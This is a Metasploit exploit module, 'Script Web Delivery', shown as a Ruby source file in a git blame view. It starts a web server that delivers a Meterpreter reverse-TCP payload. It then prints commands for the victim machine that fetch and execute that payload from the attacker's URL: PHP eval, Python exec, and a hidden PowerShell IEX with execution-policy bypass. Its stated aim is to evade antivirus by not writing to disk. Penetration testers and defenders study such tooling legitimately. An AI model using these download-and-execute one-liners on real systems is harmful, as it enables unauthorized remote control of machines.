metasploit-framework/modules/exploits/multi/script/web_delivery.rb

105 lines
3.8 KiB
Ruby
Raw Normal View History

2014-06-03 15:53:32 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Script Web Delivery',
'Description' => %q{
This module quickly fires up a web server that serves a payload.
The provided command will start the specified scripting langauge interpreter and then download and execute the
payload. The main purpose of this module is to quickly establish a session on a target
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
write to disk so is less likely to trigger AV solutions and will allow privilege
escalations supplied by Meterpreter.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
2014-06-03 18:21:13 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
2014-06-03 15:53:32 +00:00
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp'
},
'References' =>
[
2014-06-03 18:21:13 +00:00
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
2014-06-03 15:53:32 +00:00
],
2014-06-03 18:21:13 +00:00
'Platform' => %w{ py php win},
2014-06-03 15:53:32 +00:00
'Targets' =>
2014-06-03 18:21:13 +00:00
[
2014-06-12 01:50:16 +00:00
['Python_win', {
'Platform' => 'py',
'Arch' => ARCH_PYTHON
}],
['Python_linux', {
'Platform' => 'py',
'Arch' => ARCH_PYTHON
}],
['PHP_win', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}],
['PHP_linux', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}],
['PSH_x86', {
'Platform' => 'win',
'Arch' => ARCH_X86
}],
['PSH_x64', {
'Platform' => 'win',
'Arch' => ARCH_X86_64
}],
2014-06-03 18:21:13 +00:00
],
2014-06-03 15:53:32 +00:00
'DefaultTarget' => 0,
'DisclosureDate' => 'N/A'
2014-06-03 18:21:13 +00:00
))
2014-06-12 01:50:16 +00:00
end
2014-06-03 15:53:32 +00:00
def on_request_uri(cli, request)
print_status("Delivering Payload")
2014-06-12 01:50:16 +00:00
if (target.name.include? "PSH")
2014-06-03 18:21:13 +00:00
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
2014-06-03 15:53:32 +00:00
else
2014-06-03 18:21:13 +00:00
data = %Q|#{payload.encoded} |
2014-06-03 15:53:32 +00:00
end
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
def primer
url = get_uri()
2014-06-12 01:50:16 +00:00
print_status("Run the following command on the target machine:")
if (target.name == "PHP_linux")
print_line("php -r \"eval(file_get_contents('#{url}'));\"")
elsif (target.name == "PHP_win")
print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
elsif (target.name == "Python_linux")
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
elsif (target.name == "Python_win")
print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
else
2014-06-03 18:21:13 +00:00
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
2014-06-03 15:53:32 +00:00
end
2014-06-03 18:21:13 +00:00
end
end